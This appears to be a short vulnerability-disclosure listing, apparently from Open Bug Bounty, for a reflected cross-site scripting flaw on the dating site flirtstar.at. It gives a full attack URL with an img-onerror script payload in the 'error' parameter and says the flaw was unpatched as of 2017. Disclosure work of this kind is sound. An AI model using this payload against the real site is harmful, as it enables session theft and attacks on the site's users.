flirtstar.at XSS vulnerability

Vulnerable URL: http://www.flirtstar.at/?error=Entweder%20Dein%20Nickname%20oder%20Dein%20Passwort%20ist%20falsch!=1=errnickpass=%3E%27%3E%22%3Es%3Ci%3Ei%3Cimg%20src=x%20onerror=prompt/openbugbounty/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017...